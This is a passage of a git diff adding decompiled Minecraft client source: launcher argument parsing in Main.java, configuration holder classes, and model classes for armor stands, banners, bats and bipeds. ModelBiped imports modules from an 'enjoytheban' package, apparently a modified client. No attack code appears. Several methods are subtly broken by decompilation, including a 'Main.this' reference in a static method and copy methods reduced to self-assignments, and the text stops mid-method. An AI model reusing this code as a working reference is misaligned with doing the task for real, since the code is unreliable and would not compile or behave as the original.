+    public final int field_178764_a;
+    public final int field_178762_b;
+    public final boolean field_178763_c;
+    public final boolean field_178761_d;
+    private static final String __OBFID = "CL_00001917";
+    
+    public DisplayInformation(int p_i45490_1_, int p_i45490_2_, boolean p_i45490_3_, boolean p_i45490_4_)
+    {
+      field_178764_a = p_i45490_1_;
+      field_178762_b = p_i45490_2_;
+      field_178763_c = p_i45490_3_;
+      field_178761_d = p_i45490_4_;
+    }
+  }
+  
+  public static class FolderInformation
+  {
+    public final File field_178760_a;
+    public final File field_178758_b;
+    public final File field_178759_c;
+    public final String field_178757_d;
+    private static final String __OBFID = "CL_00001916";
+    
+    public FolderInformation(File p_i45489_1_, File p_i45489_2_, File p_i45489_3_, String p_i45489_4_)
+    {
+      field_178760_a = p_i45489_1_;
+      field_178758_b = p_i45489_2_;
+      field_178759_c = p_i45489_3_;
+      field_178757_d = p_i45489_4_;
+    }
+  }
+  
+  public static class GameInformation
+  {
+    public final boolean field_178756_a;
+    public final String field_178755_b;
+    private static final String __OBFID = "CL_00001915";
+    
+    public GameInformation(boolean p_i45488_1_, String p_i45488_2_)
+    {
+      field_178756_a = p_i45488_1_;
+      field_178755_b = p_i45488_2_;
+    }
+  }
+  
+  public static class ServerInformation
+  {
+    public final String field_178754_a;
+    public final int field_178753_b;
+    private static final String __OBFID = "CL_00001914";
+    
+    public ServerInformation(String p_i45487_1_, int p_i45487_2_)
+    {
+      field_178754_a = p_i45487_1_;
+      field_178753_b = p_i45487_2_;
+    }
+  }
+  
+  public static class UserInformation
+  {
+    public final Session field_178752_a;
+    public final PropertyMap field_178750_b;
+    public final Proxy field_178751_c;
+    private static final String __OBFID = "CL_00001913";
+    
+    public UserInformation(Session p_i45486_1_, PropertyMap p_i45486_2_, Proxy p_i45486_3_)
+    {
+      field_178752_a = p_i45486_1_;
+      field_178750_b = p_i45486_2_;
+      field_178751_c = p_i45486_3_;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/main/Main.java b/src/minecraft/net/minecraft/client/main/Main.java
new file mode 100644
index 0000000..2606d47
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/main/Main.java
@@ -0,0 +1,121 @@
+package net.minecraft.client.main;
+
+import com.google.gson.GsonBuilder;
+import com.mojang.authlib.properties.PropertyMap;
+import java.io.File;
+import java.io.PrintStream;
+import java.net.Authenticator;
+import java.net.PasswordAuthentication;
+import java.net.Proxy;
+import java.util.List;
+import joptsimple.ArgumentAcceptingOptionSpec;
+import joptsimple.OptionParser;
+import joptsimple.OptionSet;
+import joptsimple.OptionSpecBuilder;
+import net.minecraft.client.Minecraft;
+import net.minecraft.util.Session;
+
+public class Main
+{
+  private static final String __OBFID = "CL_00001461";
+  
+  public Main() {}
+  
+  public static void main(String[] p_main_0_)
+  {
+    System.setProperty("java.net.preferIPv4Stack", "true");
+    OptionParser var1 = new OptionParser();
+    var1.allowsUnrecognizedOptions();
+    var1.accepts("demo");
+    var1.accepts("fullscreen");
+    var1.accepts("checkGlErrors");
+    ArgumentAcceptingOptionSpec var2 = var1.accepts("server").withRequiredArg();
+    ArgumentAcceptingOptionSpec var3 = var1.accepts("port").withRequiredArg().ofType(Integer.class).defaultsTo(Integer.valueOf(25565), new Integer[0]);
+    ArgumentAcceptingOptionSpec var4 = var1.accepts("gameDir").withRequiredArg().ofType(File.class).defaultsTo(new File("."), new File[0]);
+    ArgumentAcceptingOptionSpec var5 = var1.accepts("assetsDir").withRequiredArg().ofType(File.class);
+    ArgumentAcceptingOptionSpec var6 = var1.accepts("resourcePackDir").withRequiredArg().ofType(File.class);
+    ArgumentAcceptingOptionSpec var7 = var1.accepts("proxyHost").withRequiredArg();
+    ArgumentAcceptingOptionSpec var8 = var1.accepts("proxyPort").withRequiredArg().defaultsTo("8080", new String[0]).ofType(Integer.class);
+    ArgumentAcceptingOptionSpec var9 = var1.accepts("proxyUser").withRequiredArg();
+    ArgumentAcceptingOptionSpec var10 = var1.accepts("proxyPass").withRequiredArg();
+    ArgumentAcceptingOptionSpec var11 = var1.accepts("username").withRequiredArg().defaultsTo("Player" + Minecraft.getSystemTime() % 1000L, new String[0]);
+    ArgumentAcceptingOptionSpec var12 = var1.accepts("uuid").withRequiredArg();
+    ArgumentAcceptingOptionSpec var13 = var1.accepts("accessToken").withRequiredArg().required();
+    ArgumentAcceptingOptionSpec var14 = var1.accepts("version").withRequiredArg().required();
+    ArgumentAcceptingOptionSpec var15 = var1.accepts("width").withRequiredArg().ofType(Integer.class).defaultsTo(Integer.valueOf(854), new Integer[0]);
+    ArgumentAcceptingOptionSpec var16 = var1.accepts("height").withRequiredArg().ofType(Integer.class).defaultsTo(Integer.valueOf(480), new Integer[0]);
+    ArgumentAcceptingOptionSpec var17 = var1.accepts("userProperties").withRequiredArg().required();
+    ArgumentAcceptingOptionSpec var18 = var1.accepts("assetIndex").withRequiredArg();
+    ArgumentAcceptingOptionSpec var19 = var1.accepts("userType").withRequiredArg().defaultsTo("legacy", new String[0]);
+    joptsimple.NonOptionArgumentSpec var20 = var1.nonOptions();
+    OptionSet var21 = var1.parse(p_main_0_);
+    List var22 = var21.valuesOf(var20);
+    
+    if (!var22.isEmpty())
+    {
+      System.out.println("Completely ignored arguments: " + var22);
+    }
+    
+    String var23 = (String)var21.valueOf(var7);
+    Proxy var24 = Proxy.NO_PROXY;
+    
+    if (var23 != null)
+    {
+      try
+      {
+        var24 = new Proxy(java.net.Proxy.Type.SOCKS, new java.net.InetSocketAddress(var23, ((Integer)var21.valueOf(var8)).intValue()));
+      }
+      catch (Exception localException) {}
+    }
+    
+
+
+
+    String var25 = (String)var21.valueOf(var9);
+    final String var26 = (String)var21.valueOf(var10);
+    
+    if ((!var24.equals(Proxy.NO_PROXY)) && (func_110121_a(var25)) && (func_110121_a(var26)))
+    {
+      Authenticator.setDefault(new Authenticator()
+      {
+        private static final String __OBFID = "CL_00000828";
+        
+        protected PasswordAuthentication getPasswordAuthentication() {
+          return new PasswordAuthentication(Main.this, var26.toCharArray());
+        }
+      });
+    }
+    
+    int var27 = ((Integer)var21.valueOf(var15)).intValue();
+    int var28 = ((Integer)var21.valueOf(var16)).intValue();
+    boolean var29 = var21.has("fullscreen");
+    boolean var30 = var21.has("checkGlErrors");
+    boolean var31 = var21.has("demo");
+    String var32 = (String)var21.valueOf(var14);
+    PropertyMap var33 = (PropertyMap)new GsonBuilder().registerTypeAdapter(PropertyMap.class, new com.mojang.authlib.properties.PropertyMap.Serializer()).create().fromJson((String)var21.valueOf(var17), PropertyMap.class);
+    File var34 = (File)var21.valueOf(var4);
+    File var35 = var21.has(var5) ? (File)var21.valueOf(var5) : new File(var34, "assets/");
+    File var36 = var21.has(var6) ? (File)var21.valueOf(var6) : new File(var34, "resourcepacks/");
+    String var37 = var21.has(var12) ? (String)var12.value(var21) : (String)var11.value(var21);
+    String var38 = var21.has(var18) ? (String)var18.value(var21) : null;
+    String var39 = (String)var21.valueOf(var2);
+    Integer var40 = (Integer)var21.valueOf(var3);
+    Session var41 = new Session((String)var11.value(var21), var37, (String)var13.value(var21), (String)var19.value(var21));
+    GameConfiguration var42 = new GameConfiguration(new GameConfiguration.UserInformation(var41, var33, var24), new GameConfiguration.DisplayInformation(var27, var28, var29, var30), new GameConfiguration.FolderInformation(var34, var36, var35, var38), new GameConfiguration.GameInformation(var31, var32), new GameConfiguration.ServerInformation(var39, var40.intValue()));
+    Runtime.getRuntime().addShutdownHook(new Thread("Client Shutdown Thread")
+    {
+      private static final String __OBFID = "CL_00000829";
+      
+
+
+      public void run() {}
+    });
+    Thread.currentThread().setName("Client thread");
+    new Minecraft(var42).run();
+  }
+  
+  private static boolean func_110121_a(String p_110121_0_)
+  {
+    return (p_110121_0_ != null) && (!p_110121_0_.isEmpty());
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelArmorStand.java b/src/minecraft/net/minecraft/client/model/ModelArmorStand.java
new file mode 100644
index 0000000..0d23036
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelArmorStand.java
@@ -0,0 +1,134 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityArmorStand;
+import net.minecraft.util.Rotations;
+
+public class ModelArmorStand extends ModelArmorStandArmor
+{
+  public ModelRenderer standRightSide;
+  public ModelRenderer standLeftSide;
+  public ModelRenderer standWaist;
+  public ModelRenderer standBase;
+  private static final String __OBFID = "CL_00002631";
+  
+  public ModelArmorStand()
+  {
+    this(0.0F);
+  }
+  
+  public ModelArmorStand(float p_i46306_1_)
+  {
+    super(p_i46306_1_, 64, 64);
+    bipedHead = new ModelRenderer(this, 0, 0);
+    bipedHead.addBox(-1.0F, -7.0F, -1.0F, 2, 7, 2, p_i46306_1_);
+    bipedHead.setRotationPoint(0.0F, 0.0F, 0.0F);
+    bipedBody = new ModelRenderer(this, 0, 26);
+    bipedBody.addBox(-6.0F, 0.0F, -1.5F, 12, 3, 3, p_i46306_1_);
+    bipedBody.setRotationPoint(0.0F, 0.0F, 0.0F);
+    bipedRightArm = new ModelRenderer(this, 24, 0);
+    bipedRightArm.addBox(-2.0F, -2.0F, -1.0F, 2, 12, 2, p_i46306_1_);
+    bipedRightArm.setRotationPoint(-5.0F, 2.0F, 0.0F);
+    bipedLeftArm = new ModelRenderer(this, 32, 16);
+    bipedLeftArm.mirror = true;
+    bipedLeftArm.addBox(0.0F, -2.0F, -1.0F, 2, 12, 2, p_i46306_1_);
+    bipedLeftArm.setRotationPoint(5.0F, 2.0F, 0.0F);
+    bipedRightLeg = new ModelRenderer(this, 8, 0);
+    bipedRightLeg.addBox(-1.0F, 0.0F, -1.0F, 2, 11, 2, p_i46306_1_);
+    bipedRightLeg.setRotationPoint(-1.9F, 12.0F, 0.0F);
+    bipedLeftLeg = new ModelRenderer(this, 40, 16);
+    bipedLeftLeg.mirror = true;
+    bipedLeftLeg.addBox(-1.0F, 0.0F, -1.0F, 2, 11, 2, p_i46306_1_);
+    bipedLeftLeg.setRotationPoint(1.9F, 12.0F, 0.0F);
+    standRightSide = new ModelRenderer(this, 16, 0);
+    standRightSide.addBox(-3.0F, 3.0F, -1.0F, 2, 7, 2, p_i46306_1_);
+    standRightSide.setRotationPoint(0.0F, 0.0F, 0.0F);
+    standRightSide.showModel = true;
+    standLeftSide = new ModelRenderer(this, 48, 16);
+    standLeftSide.addBox(1.0F, 3.0F, -1.0F, 2, 7, 2, p_i46306_1_);
+    standLeftSide.setRotationPoint(0.0F, 0.0F, 0.0F);
+    standWaist = new ModelRenderer(this, 0, 48);
+    standWaist.addBox(-4.0F, 10.0F, -1.0F, 8, 2, 2, p_i46306_1_);
+    standWaist.setRotationPoint(0.0F, 0.0F, 0.0F);
+    standBase = new ModelRenderer(this, 0, 32);
+    standBase.addBox(-6.0F, 11.0F, -6.0F, 12, 1, 12, p_i46306_1_);
+    standBase.setRotationPoint(0.0F, 12.0F, 0.0F);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, p_78087_7_);
+    
+    if ((p_78087_7_ instanceof EntityArmorStand))
+    {
+      EntityArmorStand var8 = (EntityArmorStand)p_78087_7_;
+      bipedLeftArm.showModel = var8.getShowArms();
+      bipedRightArm.showModel = var8.getShowArms();
+      standBase.showModel = (!var8.hasNoBasePlate());
+      bipedLeftLeg.setRotationPoint(1.9F, 12.0F, 0.0F);
+      bipedRightLeg.setRotationPoint(-1.9F, 12.0F, 0.0F);
+      standRightSide.rotateAngleX = (0.017453292F * var8.getBodyRotation().func_179415_b());
+      standRightSide.rotateAngleY = (0.017453292F * var8.getBodyRotation().func_179416_c());
+      standRightSide.rotateAngleZ = (0.017453292F * var8.getBodyRotation().func_179413_d());
+      standLeftSide.rotateAngleX = (0.017453292F * var8.getBodyRotation().func_179415_b());
+      standLeftSide.rotateAngleY = (0.017453292F * var8.getBodyRotation().func_179416_c());
+      standLeftSide.rotateAngleZ = (0.017453292F * var8.getBodyRotation().func_179413_d());
+      standWaist.rotateAngleX = (0.017453292F * var8.getBodyRotation().func_179415_b());
+      standWaist.rotateAngleY = (0.017453292F * var8.getBodyRotation().func_179416_c());
+      standWaist.rotateAngleZ = (0.017453292F * var8.getBodyRotation().func_179413_d());
+      float var9 = (var8.getLeftLegRotation().func_179415_b() + var8.getRightLegRotation().func_179415_b()) / 2.0F;
+      float var10 = (var8.getLeftLegRotation().func_179416_c() + var8.getRightLegRotation().func_179416_c()) / 2.0F;
+      float var11 = (var8.getLeftLegRotation().func_179413_d() + var8.getRightLegRotation().func_179413_d()) / 2.0F;
+      standBase.rotateAngleX = 0.0F;
+      standBase.rotateAngleY = (0.017453292F * -rotationYaw);
+      standBase.rotateAngleZ = 0.0F;
+    }
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    super.render(p_78088_1_, p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_);
+    net.minecraft.client.renderer.GlStateManager.pushMatrix();
+    
+    if (isChild)
+    {
+      float var8 = 2.0F;
+      net.minecraft.client.renderer.GlStateManager.scale(1.0F / var8, 1.0F / var8, 1.0F / var8);
+      net.minecraft.client.renderer.GlStateManager.translate(0.0F, 24.0F * p_78088_7_, 0.0F);
+      standRightSide.render(p_78088_7_);
+      standLeftSide.render(p_78088_7_);
+      standWaist.render(p_78088_7_);
+      standBase.render(p_78088_7_);
+    }
+    else
+    {
+      if (p_78088_1_.isSneaking())
+      {
+        net.minecraft.client.renderer.GlStateManager.translate(0.0F, 0.2F, 0.0F);
+      }
+      
+      standRightSide.render(p_78088_7_);
+      standLeftSide.render(p_78088_7_);
+      standWaist.render(p_78088_7_);
+      standBase.render(p_78088_7_);
+    }
+    
+    net.minecraft.client.renderer.GlStateManager.popMatrix();
+  }
+  
+  public void postRenderHiddenArm(float p_178718_1_)
+  {
+    boolean var2 = bipedRightArm.showModel;
+    bipedRightArm.showModel = true;
+    super.postRenderHiddenArm(p_178718_1_);
+    bipedRightArm.showModel = var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelArmorStandArmor.java b/src/minecraft/net/minecraft/client/model/ModelArmorStandArmor.java
new file mode 100644
index 0000000..86472ae
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelArmorStandArmor.java
@@ -0,0 +1,59 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.item.EntityArmorStand;
+import net.minecraft.util.Rotations;
+
+public class ModelArmorStandArmor extends ModelBiped
+{
+  private static final String __OBFID = "CL_00002632";
+  
+  public ModelArmorStandArmor()
+  {
+    this(0.0F);
+  }
+  
+  public ModelArmorStandArmor(float p_i46307_1_)
+  {
+    this(p_i46307_1_, 64, 32);
+  }
+  
+  protected ModelArmorStandArmor(float p_i46308_1_, int p_i46308_2_, int p_i46308_3_)
+  {
+    super(p_i46308_1_, 0.0F, p_i46308_2_, p_i46308_3_);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, net.minecraft.entity.Entity p_78087_7_)
+  {
+    if ((p_78087_7_ instanceof EntityArmorStand))
+    {
+      EntityArmorStand var8 = (EntityArmorStand)p_78087_7_;
+      bipedHead.rotateAngleX = (0.017453292F * var8.getHeadRotation().func_179415_b());
+      bipedHead.rotateAngleY = (0.017453292F * var8.getHeadRotation().func_179416_c());
+      bipedHead.rotateAngleZ = (0.017453292F * var8.getHeadRotation().func_179413_d());
+      bipedHead.setRotationPoint(0.0F, 1.0F, 0.0F);
+      bipedBody.rotateAngleX = (0.017453292F * var8.getBodyRotation().func_179415_b());
+      bipedBody.rotateAngleY = (0.017453292F * var8.getBodyRotation().func_179416_c());
+      bipedBody.rotateAngleZ = (0.017453292F * var8.getBodyRotation().func_179413_d());
+      bipedLeftArm.rotateAngleX = (0.017453292F * var8.getLeftArmRotation().func_179415_b());
+      bipedLeftArm.rotateAngleY = (0.017453292F * var8.getLeftArmRotation().func_179416_c());
+      bipedLeftArm.rotateAngleZ = (0.017453292F * var8.getLeftArmRotation().func_179413_d());
+      bipedRightArm.rotateAngleX = (0.017453292F * var8.getRightArmRotation().func_179415_b());
+      bipedRightArm.rotateAngleY = (0.017453292F * var8.getRightArmRotation().func_179416_c());
+      bipedRightArm.rotateAngleZ = (0.017453292F * var8.getRightArmRotation().func_179413_d());
+      bipedLeftLeg.rotateAngleX = (0.017453292F * var8.getLeftLegRotation().func_179415_b());
+      bipedLeftLeg.rotateAngleY = (0.017453292F * var8.getLeftLegRotation().func_179416_c());
+      bipedLeftLeg.rotateAngleZ = (0.017453292F * var8.getLeftLegRotation().func_179413_d());
+      bipedLeftLeg.setRotationPoint(1.9F, 11.0F, 0.0F);
+      bipedRightLeg.rotateAngleX = (0.017453292F * var8.getRightLegRotation().func_179415_b());
+      bipedRightLeg.rotateAngleY = (0.017453292F * var8.getRightLegRotation().func_179416_c());
+      bipedRightLeg.rotateAngleZ = (0.017453292F * var8.getRightLegRotation().func_179413_d());
+      bipedRightLeg.setRotationPoint(-1.9F, 11.0F, 0.0F);
+      func_178685_a(bipedHead, bipedHeadwear);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelBanner.java b/src/minecraft/net/minecraft/client/model/ModelBanner.java
new file mode 100644
index 0000000..aa564d7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelBanner.java
@@ -0,0 +1,29 @@
+package net.minecraft.client.model;
+
+public class ModelBanner extends ModelBase
+{
+  public ModelRenderer bannerSlate;
+  public ModelRenderer bannerStand;
+  public ModelRenderer bannerTop;
+  private static final String __OBFID = "CL_00002630";
+  
+  public ModelBanner()
+  {
+    textureWidth = 64;
+    textureHeight = 64;
+    bannerSlate = new ModelRenderer(this, 0, 0);
+    bannerSlate.addBox(-10.0F, 0.0F, -2.0F, 20, 40, 1, 0.0F);
+    bannerStand = new ModelRenderer(this, 44, 0);
+    bannerStand.addBox(-1.0F, -30.0F, -1.0F, 2, 42, 2, 0.0F);
+    bannerTop = new ModelRenderer(this, 0, 42);
+    bannerTop.addBox(-10.0F, -32.0F, -1.0F, 20, 2, 2, 0.0F);
+  }
+  
+  public void func_178687_a()
+  {
+    bannerSlate.rotationPointY = -32.0F;
+    bannerSlate.render(0.0625F);
+    bannerStand.render(0.0625F);
+    bannerTop.render(0.0625F);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelBase.java b/src/minecraft/net/minecraft/client/model/ModelBase.java
new file mode 100644
index 0000000..f68ad15
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelBase.java
@@ -0,0 +1,77 @@
+package net.minecraft.client.model;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+
+public abstract class ModelBase
+{
+  public float swingProgress;
+  public boolean isRiding;
+  public boolean isChild = true;
+  
+
+
+
+  public List boxList = Lists.newArrayList();
+  
+
+  private Map modelTextureMap = Maps.newHashMap();
+  public int textureWidth = 64;
+  public int textureHeight = 32;
+  
+
+  private static final String __OBFID = "CL_00000845";
+  
+
+
+  public ModelBase() {}
+  
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_) {}
+  
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_) {}
+  
+
+  public void setLivingAnimations(EntityLivingBase p_78086_1_, float p_78086_2_, float p_78086_3_, float p_78086_4_) {}
+  
+
+  public ModelRenderer getRandomModelBox(Random p_85181_1_)
+  {
+    return (ModelRenderer)boxList.get(p_85181_1_.nextInt(boxList.size()));
+  }
+  
+  protected void setTextureOffset(String p_78085_1_, int p_78085_2_, int p_78085_3_)
+  {
+    modelTextureMap.put(p_78085_1_, new TextureOffset(p_78085_2_, p_78085_3_));
+  }
+  
+  public TextureOffset getTextureOffset(String p_78084_1_)
+  {
+    return (TextureOffset)modelTextureMap.get(p_78084_1_);
+  }
+  
+  public static void func_178685_a(ModelRenderer p_178685_0_, ModelRenderer p_178685_1_)
+  {
+    rotateAngleX = rotateAngleX;
+    rotateAngleY = rotateAngleY;
+    rotateAngleZ = rotateAngleZ;
+    rotationPointX = rotationPointX;
+    rotationPointY = rotationPointY;
+    rotationPointZ = rotationPointZ;
+  }
+  
+  public void setModelAttributes(ModelBase p_178686_1_)
+  {
+    swingProgress = swingProgress;
+    isRiding = isRiding;
+    isChild = isChild;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelBat.java b/src/minecraft/net/minecraft/client/model/ModelBat.java
new file mode 100644
index 0000000..a412635
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelBat.java
@@ -0,0 +1,114 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.passive.EntityBat;
+import net.minecraft.util.MathHelper;
+
+
+
+
+
+
+
+
+
+
+public class ModelBat
+  extends ModelBase
+{
+  private ModelRenderer batHead;
+  private ModelRenderer batBody;
+  private ModelRenderer batRightWing;
+  private ModelRenderer batLeftWing;
+  private ModelRenderer batOuterRightWing;
+  private ModelRenderer batOuterLeftWing;
+  private static final String __OBFID = "CL_00000830";
+  
+  public ModelBat()
+  {
+    textureWidth = 64;
+    textureHeight = 64;
+    batHead = new ModelRenderer(this, 0, 0);
+    batHead.addBox(-3.0F, -3.0F, -3.0F, 6, 6, 6);
+    ModelRenderer var1 = new ModelRenderer(this, 24, 0);
+    var1.addBox(-4.0F, -6.0F, -2.0F, 3, 4, 1);
+    batHead.addChild(var1);
+    ModelRenderer var2 = new ModelRenderer(this, 24, 0);
+    mirror = true;
+    var2.addBox(1.0F, -6.0F, -2.0F, 3, 4, 1);
+    batHead.addChild(var2);
+    batBody = new ModelRenderer(this, 0, 16);
+    batBody.addBox(-3.0F, 4.0F, -3.0F, 6, 12, 6);
+    batBody.setTextureOffset(0, 34).addBox(-5.0F, 16.0F, 0.0F, 10, 6, 1);
+    batRightWing = new ModelRenderer(this, 42, 0);
+    batRightWing.addBox(-12.0F, 1.0F, 1.5F, 10, 16, 1);
+    batOuterRightWing = new ModelRenderer(this, 24, 16);
+    batOuterRightWing.setRotationPoint(-12.0F, 1.0F, 1.5F);
+    batOuterRightWing.addBox(-8.0F, 1.0F, 0.0F, 8, 12, 1);
+    batLeftWing = new ModelRenderer(this, 42, 0);
+    batLeftWing.mirror = true;
+    batLeftWing.addBox(2.0F, 1.0F, 1.5F, 10, 16, 1);
+    batOuterLeftWing = new ModelRenderer(this, 24, 16);
+    batOuterLeftWing.mirror = true;
+    batOuterLeftWing.setRotationPoint(12.0F, 1.0F, 1.5F);
+    batOuterLeftWing.addBox(0.0F, 1.0F, 0.0F, 8, 12, 1);
+    batBody.addChild(batRightWing);
+    batBody.addChild(batLeftWing);
+    batRightWing.addChild(batOuterRightWing);
+    batLeftWing.addChild(batOuterLeftWing);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    batHead.render(p_78088_7_);
+    batBody.render(p_78088_7_);
+  }
+  
+
+
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    if (((EntityBat)p_78087_7_).getIsBatHanging())
+    {
+      float var8 = 57.295776F;
+      batHead.rotateAngleX = (p_78087_5_ / 57.295776F);
+      batHead.rotateAngleY = (3.1415927F - p_78087_4_ / 57.295776F);
+      batHead.rotateAngleZ = 3.1415927F;
+      batHead.setRotationPoint(0.0F, -2.0F, 0.0F);
+      batRightWing.setRotationPoint(-3.0F, 0.0F, 3.0F);
+      batLeftWing.setRotationPoint(3.0F, 0.0F, 3.0F);
+      batBody.rotateAngleX = 3.1415927F;
+      batRightWing.rotateAngleX = -0.15707964F;
+      batRightWing.rotateAngleY = -1.2566371F;
+      batOuterRightWing.rotateAngleY = -1.7278761F;
+      batLeftWing.rotateAngleX = batRightWing.rotateAngleX;
+      batLeftWing.rotateAngleY = (-batRightWing.rotateAngleY);
+      batOuterLeftWing.rotateAngleY = (-batOuterRightWing.rotateAngleY);
+    }
+    else
+    {
+      float var8 = 57.295776F;
+      batHead.rotateAngleX = (p_78087_5_ / 57.295776F);
+      batHead.rotateAngleY = (p_78087_4_ / 57.295776F);
+      batHead.rotateAngleZ = 0.0F;
+      batHead.setRotationPoint(0.0F, 0.0F, 0.0F);
+      batRightWing.setRotationPoint(0.0F, 0.0F, 0.0F);
+      batLeftWing.setRotationPoint(0.0F, 0.0F, 0.0F);
+      batBody.rotateAngleX = (0.7853982F + MathHelper.cos(p_78087_3_ * 0.1F) * 0.15F);
+      batBody.rotateAngleY = 0.0F;
+      batRightWing.rotateAngleY = (MathHelper.cos(p_78087_3_ * 1.3F) * 3.1415927F * 0.25F);
+      batLeftWing.rotateAngleY = (-batRightWing.rotateAngleY);
+      batOuterRightWing.rotateAngleY = (batRightWing.rotateAngleY * 0.5F);
+      batOuterLeftWing.rotateAngleY = (-batRightWing.rotateAngleY * 0.5F);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelBiped.java b/src/minecraft/net/minecraft/client/model/ModelBiped.java
new file mode 100644
index 0000000..8b88174
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelBiped.java
@@ -0,0 +1,290 @@
+package net.minecraft.client.model;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.modules.player.Dab;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+import org.lwjgl.input.Keyboard;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ModelBiped
+  extends ModelBase
+{
+  public ModelRenderer bipedHead;
+  public ModelRenderer bipedHeadwear;
+  public ModelRenderer bipedBody;
+  public ModelRenderer bipedRightArm;
+  public ModelRenderer bipedLeftArm;
+  public ModelRenderer bipedRightLeg;
+  public ModelRenderer bipedLeftLeg;
+  public int heldItemLeft;
+  public int heldItemRight;
+  public boolean isSneak;
+  public boolean aimedBow;
+  private static final String __OBFID = "CL_00000840";
+  
+  public ModelBiped()
+  {
+    this(0.0F);
+  }
+  
+  public ModelBiped(float p_i1148_1_) {
+    this(p_i1148_1_, 0.0F, 64, 32);
+  }
+  
+  public ModelBiped(float p_i1149_1_, float p_i1149_2_, int p_i1149_3_, int p_i1149_4_) {
+    textureWidth = p_i1149_3_;
+    textureHeight = p_i1149_4_;
+    bipedHead = new ModelRenderer(this, 0, 0);
+    bipedHead.addBox(-4.0F, -8.0F, -4.0F, 8, 8, 8, p_i1149_1_);
+    bipedHead.setRotationPoint(0.0F, 0.0F + p_i1149_2_, 0.0F);
+    bipedHeadwear = new ModelRenderer(this, 32, 0);
+    bipedHeadwear.addBox(-4.0F, -8.0F, -4.0F, 8, 8, 8, p_i1149_1_ + 0.5F);
+    bipedHeadwear.setRotationPoint(0.0F, 0.0F + p_i1149_2_, 0.0F);
+    bipedBody = new ModelRenderer(this, 16, 16);
+    bipedBody.addBox(-4.0F, 0.0F, -2.0F, 8, 12, 4, p_i1149_1_);
+    bipedBody.setRotationPoint(0.0F, 0.0F + p_i1149_2_, 0.0F);
+    bipedRightArm = new ModelRenderer(this, 40, 16);
+    bipedRightArm.addBox(-3.0F, -2.0F, -2.0F, 4, 12, 4, p_i1149_1_);
+    bipedRightArm.setRotationPoint(-5.0F, 2.0F + p_i1149_2_, 0.0F);
+    bipedLeftArm = new ModelRenderer(this, 40, 16);
+    bipedLeftArm.mirror = true;
+    bipedLeftArm.addBox(-1.0F, -2.0F, -2.0F, 4, 12, 4, p_i1149_1_);
+    bipedLeftArm.setRotationPoint(5.0F, 2.0F + p_i1149_2_, 0.0F);
+    bipedRightLeg = new ModelRenderer(this, 0, 16);
+    bipedRightLeg.addBox(-2.0F, 0.0F, -2.0F, 4, 12, 4, p_i1149_1_);
+    bipedRightLeg.setRotationPoint(-1.9F, 12.0F + p_i1149_2_, 0.0F);
+    bipedLeftLeg = new ModelRenderer(this, 0, 16);
+    bipedLeftLeg.mirror = true;
+    bipedLeftLeg.addBox(-2.0F, 0.0F, -2.0F, 4, 12, 4, p_i1149_1_);
+    bipedLeftLeg.setRotationPoint(1.9F, 12.0F + p_i1149_2_, 0.0F);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    GlStateManager.pushMatrix();
+    
+    if (isChild) {
+      float var8 = 2.0F;
